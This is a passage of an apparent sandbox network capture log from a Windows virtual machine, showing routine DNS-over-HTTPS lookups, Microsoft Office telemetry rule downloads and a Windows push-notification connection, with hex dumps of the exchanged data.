2024-11-11 11:40:25 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1d 00 04 8e fa 41 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	49841	172.64.41.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:25 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-11 11:40:25 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-11 11:40:25 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 11 Nov 2024 11:40:25 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e0e01e3aa2c0f77-EWR alt-svc: h3=":443"; ma=86400
2024-11-11 11:40:25 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 d3 00 04 8e fa 50 23 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomP#)

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.6	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:25 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:25 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 2302a2aa-d01e-0017-0cd5-33b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114025Z-174f7845968j9dchhC1EWRfe7400000004m000000000av96 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:25 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:25 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:25 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 9a2be61a-a01e-0053-3cd5-338603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114025Z-174f7845968j6t2phC1EWRcfe8000000053g000000002aqd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:25 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:25 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:25 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 954b4d19-301e-0052-53d5-3365d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114025Z-174f7845968swgbqhC1EWRmnb400000004xg0000000097qb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:25 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:25 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:25 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 7cd1171a-e01e-0052-10d5-33d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114025Z-174f7845968pf68xhC1EWRr4h80000000550000000003zzm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:25 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:25 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:25 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 16af1629-301e-0033-6dd5-33fa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114025Z-174f7845968c2t8dhC1EWR8s2000000004p0000000003g5e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:25 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	49847	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:26 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 67 6c 76 35 65 54 62 38 2f 45 47 4e 75 5a 66 6e 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 36 33 35 66 32 38 37 34 63 37 33 35 31 37 62 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: glv5eTb8/EGNuZfn.1Context: 2635f2874c73517b
2024-11-11 11:40:26 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-11 11:40:26 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 67 6c 76 35 65 54 62 38 2f 45 47 4e 75 5a 66 6e 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 36 33 35 66 32 38 37 34 63 37 33 35 31 37 62 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 5a 68 74 70 52 61 4c 38 65 2f 6f 64 44 4a 35 65 57 51 46 4a 64 6f 4d 41 45 42 52 54 42 51 6e 45 4f 7a 6e 35 39 6f 4a 36 4d 38 30 37 34 51 49 54 34 7a 34 6f 71 4f 62 45 70 4e 56 71 56 47 4a 4f 54 75 64 76 4c 35 6c 4f 4a 4d 34 70 79 4c 4c 73 59 63 55 35 4f 45 78 45 66 53 62 62 32 62 6d 62 77 5a 47 64 71 57 61 51 70 65 57 30 34 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: glv5eTb8/EGNuZfn.2Context: 2635f2874c73517b<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAZhtpRaL8e/odDJ5eWQFJdoMAEBRTBQnEOzn59oJ6M8074QIT4z4oqObEpNVqVGJOTudvL5lOJM4pyLLsYcU5OExEfSbb2bmbwZGdqWaQpeW04
2024-11-11 11:40:26 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 67 6c 76 35 65 54 62 38 2f 45 47 4e 75 5a 66 6e 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 36 33 35 66 32 38 37 34 63 37 33 35 31 37 62 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: glv5eTb8/EGNuZfn.3Context: 2635f2874c73517b<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-11 11:40:26 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-11 11:40:26 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 73 53 2f 53 4f 78 51 4b 71 55 79 46 76 4a 4a 54 71 6a 58 69 70 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: sS/SOxQKqUyFvJJTqjXipg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:26 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:26 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: b85e0199-b01e-0098-60d5-33cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114026Z-174f784596886s2bhC1EWR743w00000004x0000000005ncg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:26 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:26 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:26 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 87508d14-a01e-0098-0ad5-338556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114026Z-174f7845968pf68xhC1EWRr4h80000000520000000007drk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:26 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:26 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:26 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 87508d13-a01e-0098-09d5-338556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114026Z-174f7845968cdxdrhC1EWRg0en00000004y0000000000p08 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:26 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:26 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
